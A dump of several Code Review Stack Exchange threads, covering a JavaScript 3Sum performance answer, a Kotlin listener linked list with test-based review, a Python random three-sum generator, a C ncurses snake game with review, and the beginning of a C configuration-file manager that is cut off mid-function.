improvements</h3>\n<p>You use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array sort\">Array.sort</a> to sort the 3 values and then <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array join\">Array.join</a> them to get a unique key for the 3 values that sum to 0.</p>\n<pre><code>let val = [target - nums[i], nums[i], -target].sort((a,b) =&gt; a - b).join(',');\n</code></pre>\n<p>JavaScript's sort knows nothing about the array or why you are sorting it</p>\n<p>For 3 items there are only 6 resulting outcomes, requiring at most 4 compares. You don't want the sorted array you just want to know how to build the key.</p>\n<p>Building a small string using <code>join</code> is slower than building it manually using concatenation operators.</p>\n<p>Thus we can remove the sort and use a set of <code>if</code>, <code>else</code>. and ternaries <code>?</code> to build the <code>key</code>. No need to swap items in an unneeded array (an array that will use memory management just to exist). No need to use the slow join function to create the key.</p>\n<h3>Additional improvements.</h3>\n<p>For the best performance avoid</p>\n<ul>\n<li>Indexing into arrays</li>\n<li>Repeating calculations</li>\n<li>Iterating over arrays more often than needed.</li>\n<li>Manipulating Strings</li>\n</ul>\n<h2>Final code</h2>\n<p>Assuming that the order of items in each array in the returned array does not matter, and that the items can be Numbers (not Strings) we can remove the need to map and filler the result.</p>\n<p>We store items in vars rather than indexing into the array <code>nums[i]</code> each time we want the value. eg <code>a = nums[i]</code></p>\n<p>We calculate values only once. eg <code>b = -target</code>, <code>idx = target - a</code></p>\n<p><strong>threeSum2</strong></p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function threeSum2(nums) {\nvar i = 0;\nconst out = [], seen = new Set(), map = new Set();\nwhile (i &lt; nums.length) {\n twoSum2(nums.filter((d,id) =&gt; id != i), -nums[i++], out, seen, map);\n}\nreturn out;\n};\nfunction twoSum2(nums, target, out, seen, map) {\nvar val = \"\", i;\nconst b = -target;\nmap.clear();\nfor (i = 0; i &lt; nums.length; i++) {\n const a = nums[i], idx = target - a;\n if (myMap.has(idx)) {\n if (a &lt; b &amp;&amp; a &lt; idx) { val = idx &lt; b ? \"\" + a + idx + b : \"\" + a + b + idx }\n else if (b &lt; idx) { val = idx &lt; a ? \"\" + b + idx + a : \"\" + b + a + idx }\n else { val = a &lt; b ? \"\" + idx + a + b : \"\" + idx + b + a }\n if (!seen.has(val)) {\n out.push([a, b, idx]);\n seen.add(val);\n }\n }\n map.add(a);\n}\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<hr />\n<h2>Results</h2>\n<p>Below are the test results for the 3 functions above.</p>\n<ol>\n<li><code>threeSum</code> Your original functions with changes unrelated to performance.</li>\n<li><code>threeSum1</code> Major performance changes</li>\n<li><code>threeSum2</code> Minor performance changes</li>\n</ol>\n<p>The first test is on a set of 100 arrays 100 items long with an evenly distributed random set of integers in the range -10000 to 10000</p>\n<ul>\n<li>Note <code>threeSum2</code> is 5 time faster than original.</li>\n<li>Note <code>threeSum1</code> is only marginally quicker as the optimizations target only the resulting output data.</li>\n</ul>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: left;\">Name</th>\n<th style=\"text-align: right;\">Mean time <sup>1</sup></th>\n<th style=\"text-align: right;\">Call per sec</th>\n<th style=\"text-align: right;\">Rel performance</th>\n<th style=\"text-align: right;\">Total time</th>\n<th style=\"text-align: right;\">Calls</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: left;\">threeSum2</td>\n<td style=\"text-align: right;\">1,455.175µs</td>\n<td style=\"text-align: right;\">687</td>\n<td style=\"text-align: right;\">100.00%</td>\n<td style=\"text-align: right;\">1,412ms</td>\n<td style=\"text-align: right;\">970</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">threeSum1</td>\n<td style=\"text-align: right;\">1,547.062µs</td>\n<td style=\"text-align: right;\">646</td>\n<td style=\"text-align: right;\">94.03%</td>\n<td style=\"text-align: right;\">1,624ms</td>\n<td style=\"text-align: right;\">1,050</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">threeSum</td>\n<td style=\"text-align: right;\">7,047.454µs</td>\n<td style=\"text-align: right;\">141</td>\n<td style=\"text-align: right;\">20.52%</td>\n<td style=\"text-align: right;\">6,907ms</td>\n<td style=\"text-align: right;\">980</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>I don`t know the nature of the arrays that leetcode send the function.</p>\n<p>The following table shows the result if we focus on the code that creates the result. This is done by reducing the range of values of the input to increase the resulting out array length.</p>\n<p>Testing is on a set of 100 arrays 100 items long with an evenly distributed random set of integers in the range -100 to 100</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: left;\">Name</th>\n<th style=\"text-align: right;\">Mean time <sup>1</sup></th>\n<th style=\"text-align: right;\">Call per sec</th>\n<th style=\"text-align: right;\">Rel performance</th>\n<th style=\"text-align: right;\">Total time</th>\n<th style=\"text-align: right;\">Calls</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: left;\">threeSum2</td>\n<td style=\"text-align: right;\">1,904.629µs</td>\n<td style=\"text-align: right;\">525</td>\n<td style=\"text-align: right;\">100.00%</td>\n<td style=\"text-align: right;\">2,000ms</td>\n<td style=\"text-align: right;\">1,050</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">threeSum1</td>\n<td style=\"text-align: right;\">3,219.081µs</td>\n<td style=\"text-align: right;\">310</td>\n<td style=\"text-align: right;\">59.05%</td>\n<td style=\"text-align: right;\">3,380ms</td>\n<td style=\"text-align: right;\">1,050</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">threeSum</td>\n<td style=\"text-align: right;\">6,522.878µs</td>\n<td style=\"text-align: right;\">153</td>\n<td style=\"text-align: right;\">29.14%</td>\n<td style=\"text-align: right;\">5,871ms</td>\n<td style=\"text-align: right;\">900</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>The results show that <code>threeSum2</code> is the quickest, either by a small or large margin depending on the number of matches found in the input.</p>\n<h2>Will it pass the <a href=\"https://leetcode.com/problems/3sum/\" rel=\"nofollow noreferrer\">leetcode</a> test?</h2>\n<p>Will it be fast enough to pass the tests? That I do not know as I have not tried this example.</p>\n<p>I do know that leetcode test times can swing wildly (from best to worst for the very same code) . Although I do not know as a fact, why, I strongly suspect that run time performance is effected by number of users using the service.</p>\n<p>It is my experience (as an .au user) that to get the best results is to use the service in off peek times.</p>\n<hr />\n<h2>More</h2>\n<p>As i wrote this answer I forget to look into the array you filter</p>\n<pre><code>remainingArr = nums.filter((d,id) =&gt; id != i);\n</code></pre>\n<p>There is opportunity for more optimization in this line worth about ~5% performance increase.</p>\n<p>Hints</p>\n<ol>\n<li><p>use a <code>Set</code> and remove items using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/delete\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Set delete\">Set.delete</a> tracking removed items, then replace them for the next pass with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/add\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Set add\">Set.add</a> You can\niterate a set using <code>for (const v of remainingArr) {</code></p>\n</li>\n<li><p>Or All the filter does is remove one element at the current index from the array. If you passed that index to the second function rather than a filtered array.</p>\n</li>\n</ol>\n<h2>Test settings</h2>\n<p>Test settings. Same for both tests</p>\n<ul>\n<li>Env: Chrome 89.0.4389.90 (64-bit). Laptop Passive cooling (ambient 17.9°)</li>\n<li>Test Cycles.......: 100</li>\n<li>Groups per cycle..: 1</li>\n<li>Calls per group...: 10</li>\n<li>Cool down <sup>2</sup>........: 1,000,000µs</li>\n</ul>\n<p><strong><sup>1</sup></strong> In microseconds µs (One millionth second)</p>\n<p><strong><sup>2</sup></strong> time between cycles</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-29T18:57:56.100", "Id": "510368", "Score": "0", "body": "`You can use a Set to avoid the need to traverse the prototype chain` I just changed object to `Set` which actually did result in performance improvement. But I have never read anywhere that `Maps` or `Sets` don't traverse the prototype chain. Why does this improve performance then? Can you guide me to any resource which explain how values are compared in `maps` and `sets` as compared to objects?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-29T20:46:19.597", "Id": "510378", "Score": "0", "body": "@D_S_X `Map.has`, `Map.get`, `Set.has`, `Set.get` are calls to the object's own property, and thus the prototype chain does not need to be searched. My answer has a link to Set on MDN which has further links (ECMAS-262 specification) for more details on Set (and Map)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-03T12:53:12.437", "Id": "510831", "Score": "0", "body": "Unfortunately i couldn't really find this anywhere that `.has` internal implementation doesn't traverse prototype chain. However, I was able to confirm the performance improvement through these tests also: https://jsben.ch/hvATc" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-03T13:27:36.593", "Id": "510832", "Score": "0", "body": "Added a question on SO if anybody wants to follow along: https://stackoverflow.com/questions/66931535/javascript-object-vs-map-set-key-lookup-performance" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T14:12:12.207", "Id": "257574", "ParentId": "257539", "Score": "2" } } ]
{ "AcceptedAnswerId": "257574", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T18:38:34.057", "Id": "257539", "Score": "2", "Tags": [ "javascript", "performance", "algorithm", "programming-challenge", "time-limit-exceeded" ], "Title": "Leetcode 3 sum code optimisation" }
257539
<p><strong>Update</strong>:</p> <ul> <li>Fixed last item is not removed during iteration</li> <li>Fixed <code>clear()</code> during iteration does nothing</li> <li>Fixed addition of removed item is ignored</li> </ul> <p>The lasted code can be found <a href="https://github.com/gazman-sdk/signals/blob/master/library/src/main/java/com/gazman/signals/ListenersList.kt" rel="nofollow noreferrer">here</a>. Unitest can be found <a href="https://github.com/gazman-sdk/signals/blob/master/library/src/test/java/com/gazman/signals/ListenersListTest.kt" rel="nofollow noreferrer">here</a>.</p> <hr /> <p>As part of my <a href="https://github.com/gazman-sdk/signals" rel="nofollow noreferrer">Signals</a> library, I needed to create a custom Linked List with the below properties</p> <ul> <li>It should allow &quot;addition&quot; and &quot;removal&quot; of items during iteration, aka when <code>iterator()</code> is called, like in the <code>for</code> loop.</li> <li>It should ignore-Addition of duplicated items.</li> <li>It should ignore-Removal of nonexisting items.</li> <li>it should be a thread-safe</li> </ul> <p>I ended up with the below implementation. Please tell me what do you think in terms of</p> <ul> <li>clean code</li> <li>bugs</li> <li>performance</li> </ul> <pre><code>package com.gazman.signals import java.util.* internal class ListenersList&lt;T&gt; : Iterable&lt;T?&gt; { private val none = Node&lt;T&gt;(null) private var head: Node&lt;T&gt;? = null private var tail: Node&lt;T&gt;? = null private var map = IdentityHashMap&lt;T, Node&lt;T&gt;&gt;() fun isNotEmpty(): Boolean { return map.isNotEmpty() } fun add(listener: T) { synchronized(this) { if (map.containsKey(listener)) { return } val node = Node(listener) map[listener] = node if (tail == null) { head = node tail = node } else { node.previous = tail tail?.next = node tail = node } } } fun remove(listener: T) { synchronized(this) { val node = map[listener] node?.previous?.next = node?.next node?.next?.previous = node?.previous } } override fun iterator(): Iterator&lt;T?&gt; { return object : Iterator&lt;T?&gt; { var node: Node&lt;T&gt;? = none override fun hasNext() = node != null &amp;&amp; node != tail override fun next(): T? { node = if (node == none) { this@ListenersList.head } else { node?.next } return node?.value } } } fun clear() { synchronized(this) { head = null tail = null map.clear() } } } </code></pre> <p>Node</p> <pre><code>package com.gazman.signals internal class Node&lt;T&gt;(val value: T?) { var previous: Node&lt;T&gt;? = null var next: Node&lt;T&gt;? = null } </code></pre>
[]
[ { "body": "<p>I haven't done much Kotlin, however something looked wrong and I was curious, so I wrote some tests. I had a couple of failures, so you may have issues, or it may be that I'm expecting the wrong behaviour. There's three scenarios to consider. I've defined a list of string to make it easy to test.</p>\n<pre><code>val list = ListenersList&lt;String&gt;()\n</code></pre>\n<h2>clear</h2>\n<p>You've said that you want the code to be tolerant of adding/removing items during iteration. I assumed that it would therefor also be tolerant of clear being called (it seems equivalent to calling remove on every item). So, I would expect it to iterate up to the point of the clear being called. This isn't what happens. Instead, it iterates past the end of the list. So, for example:</p>\n<pre><code>@Test\nfun clearMiddleWorks() {\n list.add(&quot;a&quot;)\n list.add(&quot;b&quot;)\n list.add(&quot;c&quot;)\n\n var items = &quot;&quot;\n\n for (item in list) {\n if(item == &quot;a&quot;)\n list.clear()\n items += item\n }\n\n assertEquals(&quot;a&quot;, items)\n}\n</code></pre>\n<p>This test fails, because instead of exiting the loop after &quot;a&quot;, it continues building up the string, and fails on <code>&quot;a&quot; != &quot;abcnull&quot;</code></p>\n<h2>end removal</h2>\n<p>This issue exists in the code you've posted, however it looks like you've cleaned it up in your latest github version. Removing the last item in the list during iteration, fails to terminate as expected:</p>\n<pre><code>@Test\nfun removalOfEndWorks() {\n list.add(&quot;a&quot;)\n list.add(&quot;b&quot;)\n list.add(&quot;c&quot;)\n\n var items = &quot;&quot;\n\n for (item in list) {\n if(item == &quot;b&quot;) {\n list.remove(&quot;c&quot;)\n }\n items += item\n }\n\n assertEquals(&quot;ab&quot;, items)\n}\n</code></pre>\n<p>This fails with <code>&quot;ab&quot; != &quot;abnull&quot;</code></p>\n<h2>remove and add conflict</h2>\n<p>This may actually be expected behaviour, however it seems odd to me. If I remove an item from the list, whilst I'm iterating over it, then add an item with the same value, I'd expect that item to be treated the same was as if I'd added a new item, however it isn't. So, this test passes:</p>\n<pre><code>@Test\nfun removalAdditionOtherInMiddleWorks() {\n list.add(&quot;a&quot;)\n list.add(&quot;b&quot;)\n list.add(&quot;c&quot;)\n\n var items = &quot;&quot;\n\n\n for (item in list) {\n if(item == &quot;a&quot;) {\n list.remove(&quot;b&quot;)\n list.add(&quot;d&quot;)\n }\n items += item\n }\n\n assertEquals(&quot;acd&quot;, items)\n}\n</code></pre>\n<p>And this test fails:</p>\n<pre><code>@Test\nfun removalAdditionOfMiddleWorks() {\n list.add(&quot;a&quot;)\n list.add(&quot;b&quot;)\n list.add(&quot;c&quot;)\n\n var items = &quot;&quot;\n\n\n for (item in list) {\n if(item == &quot;a&quot;) {\n list.remove(&quot;b&quot;)\n list.add(&quot;b&quot;)\n }\n items += item\n }\n\n assertEquals(&quot;acb&quot;, items)\n}\n</code></pre>\n<p>It fails because the added in &quot;b&quot; is ignored, so <code>&quot;acb&quot; != &quot;ac&quot;</code>. Is this expected?</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T14:10:29.017", "Id": "508847", "Score": "0", "body": "Thank you! This is an awesome code review. I now updated the question with a list of bugs I fixed and links for the up to date code" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T22:51:18.010", "Id": "257596", "ParentId": "257540", "Score": "2" } } ]
{ "AcceptedAnswerId": "257596", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T19:28:28.647", "Id": "257540", "Score": "2", "Tags": [ "algorithm", "linked-list", "hash-map", "kotlin" ], "Title": "Linked list that support modifications during iteration" }
257540
<p>I made a randomized algorithm to solve the three sum problem. There are two key parameters: number of solutions, and total. Notably, the algorithm might generate a duplicate solution. This is not checked since there is no guarantee that there is N unique solutions. The code is below.</p> <pre><code> import random def test_random_fn(low, high): &quot;&quot;&quot; :param low: int :param high: int :return: int average time: O(1) average space: O(1) amortized time: O(1) amortized space: O(1) &quot;&quot;&quot; return (low + high) // 3 def random_fn(low, high): &quot;&quot;&quot; :param low: int :param high: int :return: int average time: O(1) average space: O(1) amortized time: O(1) amortized space: O(1) &quot;&quot;&quot; return random.randint(low, high) def user_input(): &quot;&quot;&quot; average time: O(1) average space: O(1) amortized time: O(1) amortized space: O(1) &quot;&quot;&quot; return int(input()) def user_output(first, second, third): &quot;&quot;&quot; :param first: int :param second: int :param third: int :return: None average time: O(1) average space: O(1) amortized time: O(1) amortized space: O(1) &quot;&quot;&quot; print() print(&quot;first: {0}&quot;.format(str(first))) print(&quot;second: {0}&quot;.format(str(second))) print(&quot;third: {0}&quot;.format(str(third))) print() def gen_solns(random_fn, num_solns, total): &quot;&quot;&quot; :param random_fn: random.randint :param num_solns: int :param total: int :return: yields (int, int, int) average time: O(num_solns) average space: O(1) amortized time: inf amortized space: O(1) &quot;&quot;&quot; a = 0 b = 0 c = 0 solved = 0 while solved &lt; num_solns: a = random_fn(0, total) b = random_fn(0, total) c = random_fn(0, total) if a + b + c == total: solved = solved + 1 yield a, b, c def test_gen_solns(): num_solns = 1 total = 10 for answer in gen_solns(random_fn, num_solns, total): assert answer[0] + answer[1] + answer[2] == total def main(): &quot;&quot;&quot; :return: None average time: O(1) average space: O(1) amortized time: O(1) amortized space: O(1) &quot;&quot;&quot; test_gen_solns() total = user_input() num_solns = 3 for triple in gen_solns(random_fn, num_solns, total): user_output(triple[0], triple[1], triple[2]) if __name__ == '__main__': main() <span class="math-container">``</span> </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:01:16.173", "Id": "257542", "Score": "0", "Tags": [ "algorithm", "python-3.x" ], "Title": "Three Sum Algorithm" }
257542
<p>This is a lightweight text based version of the popular game <a href="https://en.wikipedia.org/wiki/Snake_(video_game_genre)" rel="nofollow noreferrer">Snake</a> written entirely in C. In order to build it, <a href="https://www.gnu.org/software/ncurses/ncurses.html" rel="nofollow noreferrer">ncurses</a> needs to be installed on the system. Navigation is done using the vim-keys and you can quit with 'q'. The <em>bones</em> of the snake are stored in a linked list. This is one of my personal projects and I would love to recieve expert advice.</p> <p>In <code>snake.c</code> I have:</p> <pre><code>#define _POSIX_C_SOURCE 199309L #include &lt;curses.h&gt; #include &lt;locale.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include &quot;linked_list.h&quot; enum dir { LEFT, DOWN, UP, RIGHT }; /* global variables */ int width; int height; struct node *snk; int len; enum dir dir; int food_x; int food_y; bool gameover; /* initial setup */ void setup(void) { setlocale(LC_ALL, &quot;&quot;); initscr(); cbreak(); noecho(); nonl(); intrflush(stdscr, FALSE); keypad(stdscr, TRUE); timeout(0); curs_set(0); getmaxyx(stdscr, height, width); width = (width + 1) / 2; snk = new_node(width / 2, 0, NULL); len = 1; dir = DOWN; do { food_x = rand() % width; food_y = rand() % height; } while (snk-&gt;x == food_x &amp;&amp; snk-&gt;y == food_y); gameover = false; srand(time(0)); } /* listen for key press */ void input(void) { char c = getch(); if (c == 'h' &amp;&amp; (dir != RIGHT || len == 1)) dir = LEFT; else if (c == 'j' &amp;&amp; (dir != UP || len == 1)) dir = DOWN; else if (c == 'k' &amp;&amp; (dir != DOWN || len == 1)) dir = UP; else if (c == 'l' &amp;&amp; (dir != LEFT || len == 1)) dir = RIGHT; else if (c == 'q') gameover = true; } /* move snake, check for collision, handle food */ void logic(void) { switch (dir) { case LEFT: snk = new_node(snk-&gt;x - 1, snk-&gt;y, snk); break; case DOWN: snk = new_node(snk-&gt;x, snk-&gt;y + 1, snk); break; case UP: snk = new_node(snk-&gt;x, snk-&gt;y - 1, snk); break; case RIGHT: snk = new_node(snk-&gt;x + 1, snk-&gt;y, snk); break; default: break; } if (snk-&gt;x &lt; 0) snk-&gt;x = width - 1; else if (snk-&gt;x &gt;= width) snk-&gt;x = 0; else if (snk-&gt;y &lt; 0) snk-&gt;y = height - 1; else if (snk-&gt;y &gt;= height) snk-&gt;y = 0; if (node_exists(snk-&gt;next, snk-&gt;x, snk-&gt;y)) gameover = true; if (snk-&gt;x == food_x &amp;&amp; snk-&gt;y == food_y) { do { food_x = rand() % width; food_y = rand() % height; } while (node_exists(snk, food_x, food_y)); ++len; } else { delete_last(snk); } } /* draw the snake and the food */ void draw(void) { clear(); struct node *cursor = snk; while (cursor != NULL) { mvprintw(cursor-&gt;y, cursor-&gt;x * 2, &quot;o&quot;); cursor = cursor-&gt;next; } mvprintw(food_y, food_x * 2, &quot;+&quot;); refresh(); } int main(void) { setup(); while (!gameover) { input(); logic(); draw(); struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 100000000; nanosleep(&amp;ts, &amp;ts); } endwin(); return EXIT_SUCCESS; } </code></pre> <p>In <code>linked_list.c</code> I have:</p> <pre><code>#include &lt;stdbool.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &quot;linked_list.h&quot; /* create new node */ struct node *new_node(int x, int y, struct node *next) { struct node *new = malloc(sizeof *new); if (!new) { fprintf(stderr, &quot;Error: memory allocation failed\n&quot;); exit(EXIT_FAILURE); } new-&gt;x = x; new-&gt;y = y; new-&gt;next = next; return new; } /* delete last node */ void delete_last(struct node *head) { if (head == NULL) { fprintf(stderr, &quot;Error: linked list underflow\n&quot;); exit(EXIT_FAILURE); } struct node **cursor = &amp;head; while ((*cursor)-&gt;next != NULL) cursor = &amp;(*cursor)-&gt;next; *cursor = NULL; free(*cursor); } /* check if node exists */ bool node_exists(struct node *head, int x, int y) { struct node *cursor = head; while (cursor != NULL) { if (cursor-&gt;x == x &amp;&amp; cursor-&gt;y == y) return true; cursor = cursor-&gt;next; } return false; } </code></pre> <p>In <code>linked_list.h</code> I have:</p> <pre><code>#ifndef LINKED_LIST_H #define LINKED_LIST_H struct node { int x; int y; struct node *next; }; /* create new node */ struct node *new_node(int x, int y, struct node *next); /* delete last node */ void delete_last(struct node *head); /* check if node exists */ bool node_exists(struct node *head, int x, int y); #endif /* LINKED_LIST_H */ </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-02T15:38:13.443", "Id": "510759", "Score": "0", "body": "I have rolled back Rev 4 → 3. Please see [_What to do when someone answers_](https://codereview.stackexchange.com/help/someone-answers)." } ]
[ { "body": "<p>Overall this is quite nice code, it is split nicely into functions that each have their own responsibility. Some minor improvements are possible:</p>\n<h1>Avoid global variables</h1>\n<p>While there are no problems with the global variables in this program, the use of global variables is problematic if you work on larger projects. It is therefore good practice to try to remove global variables even in a small program like this one. The typical way to remove them is to create a <code>struct</code> that holds them:</p>\n<pre><code>struct state {\n int width;\n int height;\n ...\n};\n</code></pre>\n<p>And in <code>main()</code> you can declare a variable of this type, and pass a pointer to it to any functions that need to access the state, like so:</p>\n<pre><code>void setup(struct state *state) {\n ...\n getmaxyx(stdscr, state-&gt;height, state-&gt;width);\n state-&gt;width = ...;\n ...\n}\n\n...\n\nint main(void) {\n struct state state;\n setup(&amp;state);\n \n while (!state-&gt;gameover) {\n ...\n }\n \n ...\n}\n</code></pre>\n<h1>Clean up properly on exit</h1>\n<p>When the game is over, you immediately exit the game, but you should try to clean up any resources used first. You should delete any memory allocated for the linked list. While it doesn't seem to matter (memory automatically gets freed upon program exit), consider that if you ever want to expand the game, maybe by allowing starting over after a game ends, you want to ensure the old linked list is freed before creating a new snake. Also, by properly cleaning up memory before exit, you can use tools like <a href=\"https://valgrind.org/\" rel=\"nofollow noreferrer\">Valgrind</a> to find real memory leaks without getting false positives.</p>\n<p>Since you put all the setup code into the function <code>setup()</code>, consider moving any cleanup code in a function of its own, for example named <code>cleanup()</code>.</p>\n<h1>Consider using an array instead of a linked list</h1>\n<p>Using a linked list seems very appropriate for the snake's body, as you can easily add on one end and remove from the other end. However, a linked list has some performance issues. This is mainly caused by each node being allocated separately, so they are not consecutive in memory, and the need to follow pointers to iterate through the list. It would be more efficient to store the snake's body positions in a dynamically allocated array, that you reallocate in case you need to grow it. You can treat this array as a <a href=\"https://en.wikipedia.org/wiki/Circular_buffer\" rel=\"nofollow noreferrer\">circular buffer</a> to ensure adding a new head and removing the tail is efficient.</p>\n<h1>Consider supporting WASD and cursor keys as well</h1>\n<p>Not everyone is used to vi-style navigation, in fact as a long-time vim-user myself I haven't even bothered to learn navigation using HJKL, since my keyboard has proper cursor keys. Consider supporting the cursor keys themselves, they are defined in ncurses as <code>KEY_UP</code>, <code>KEY_DOWN</code>, <code>KEY_LEFT</code> and <code>KEY_RIGHT</code>. Also popular in many games nowadays is to use the <a href=\"https://en.wikipedia.org/wiki/Arrow_keys#WASD_keys\" rel=\"nofollow noreferrer\">WASD</a> keys for movement.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-02T10:56:16.053", "Id": "259005", "ParentId": "257544", "Score": "1" } } ]
{ "AcceptedAnswerId": "259005", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:35:06.207", "Id": "257544", "Score": "2", "Tags": [ "c", "game", "linked-list", "snake-game" ], "Title": "Ncurses Snake Game using a Linked List in C" }
257544
<p>Last week I posted <a href="https://codereview.stackexchange.com/q/257190/120114">a previous version of this code</a>. I improved the program and worked on it for a few days and I would love to get reviews, feedback and tips so I could learn more and more from you guys.<br /> So here is the program:</p> <h3>config_man.h</h3> <pre><code>#ifndef CONFIG_MAN_H #define CONFIG_MAN_H int check_file_existence(const char *); int create_config_file(const char *, const char*); int write_config_unit(const char *, const char *, const char *); char *read_config_unit(const char *, const char *); int check_unit_existence(const char *, char *); int read_reg_syntax(char *, char *, int); int read_list_syntax(char *, char *, int); #endif </code></pre> <h3>config_man.c</h3> <pre><code>/* *This header contains all required functions to manage configuration files. */ #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &quot;config_man.h&quot; /* *The function will check if the given file in the *file path exists. It retruns 1 for yes and 0 for no. */ int check_file_existence(const char *file_path) { FILE *fp; fp = fopen(file_path, &quot;r&quot;); if(fp == NULL) { //if file doesnt exists fprintf(stderr, &quot;Error occured due to missing configurations file.\n&quot;); return 0; } fclose(fp); return 1; } /* *A function to create a configuration file with the given path. *Then it'll write a comentted discription and instruction for this file. */ int create_config_file(const char *file_path, const char *description) { FILE *fp; const char *config_instruct = { &quot;################################################################\n&quot; &quot;#--------------------------------------------------------------#\n&quot; &quot;# [Instructions] #\n&quot; &quot;#--------------------------------------------------------------#\n&quot; &quot;################################################################\n&quot; &quot;# Please it's very important to make sure there are 3 charact- #\n&quot; &quot;# ers between the unit name and its configurations. #\n&quot; &quot;# For example: #\n&quot; &quot;# #\n&quot; &quot;# UnitName = configurations #\n&quot; &quot;# #\n&quot; &quot;# As you can see there are 3 characters between the unit name #\n&quot; &quot;# and the configurations (2 spaces and an equal sign). Be awa- #\n&quot; &quot;# re that each new line terminates the unit's configurations. #\n&quot; &quot;# If the unit's configurations are too long you can put it in- #\n&quot; &quot;# side a pair of braces and make it a list. For example: #\n&quot; &quot;# #\n&quot; &quot;# VeryLongUnit = { #\n&quot; &quot;# config_1 #\n&quot; &quot;# config_2 #\n&quot; &quot;# config_3 #\n&quot; &quot;# config_4 #\n&quot; &quot;# } &lt;- Don't forget to close the list #\n&quot; &quot;# #\n&quot; &quot;# Be aware that '}' terminates the list. #\n&quot; &quot;# Note: Please if you want to use indention for the list, only #\n&quot; &quot;# use tabs, becuase they are ignored while reading a list. #\n&quot; &quot;# It's also good to note that in case the unit is a commands #\n&quot; &quot;# unit and this command requires root privileges, you can just #\n&quot; &quot;# prepend 'sudo' to it like this: #\n&quot; &quot;# #\n&quot; &quot;# CommandsUnit = sudo root_command #\n&quot; &quot;# #\n&quot; &quot;# Lastly as you can see hashes ('#') are ignored. #\n&quot; &quot;# By the way, sorry for the hard syntax I really tried to make #\n&quot; &quot;# as easy as I can and that's the result. I hope you like it :)#\n&quot; &quot;################################################################\n&quot; }; fp = fopen(file_path, &quot;w&quot;); if(fp == NULL) { //Check if error occurred fprintf(stderr, &quot;An error occurred while creating: %s.\n&quot;, file_path); return -1; } fprintf(fp, &quot;%s\n&quot;, description); fprintf(fp, &quot;%s\n&quot;, config_instruct); fclose(fp); return 0; } /* *This function takes a unit name and a description then it'll *write the description to it so youll know how to configure it. */ int write_config_unit(const char *file_path, const char *unit_name, const char *unit_desc) { FILE *fp; fp = fopen(file_path, &quot;a&quot;); if(fp == NULL) {//Check if error occurred fprintf(stderr, &quot;An error occurred while writing to: %s\n&quot;, file_path); return -1; } fprintf(fp, &quot;%s = %s\n\n&quot;, unit_name, unit_desc); fclose(fp); return 0; } /* *This function will read all the config file, it'll *ignore every commented line (with '#'), it will search *for the desired unit's confgis. If the unit exists it will *return a pointer to it, otherwise it will return NULL. */ char *read_config_unit(const char *file_path, const char *unit_name) { FILE *fp; char unit_buffer[600]; //Buffer for the unit name and its configs char *configs_beginning; //Pointer to the targeted unit's configs beginning char *read_configs; //Array for the read configs unsigned int config_status = 0; //1 = list, 0 = one line configurations int status; fp = fopen(file_path, &quot;r&quot;); if(fp == NULL) { //Check if error occurred fprintf(stderr, &quot;An error occurred reading: %s\n&quot;, file_path); return NULL; } read_configs = (char *) calloc(801, sizeof(char)); if(read_configs==NULL) { fprintf(stderr, &quot;An error occurred while allocating memory.\n&quot;); return NULL; } //Loop in the file's content while(fgets(unit_buffer, sizeof(unit_buffer), fp) != NULL) { //If the beginning of a line is commented or empty if(*unit_buffer=='#' || *unit_buffer=='\n' || *unit_buffer=='\0') continue; //Ignore and read next line if(config_status) { //If list was found if((status=read_list_syntax(unit_buffer, read_configs, 801)) == -1) { fprintf(stderr, &quot;An overflow was detected while reading unit: %s.\n&quot;, unit_name); fclose(fp); 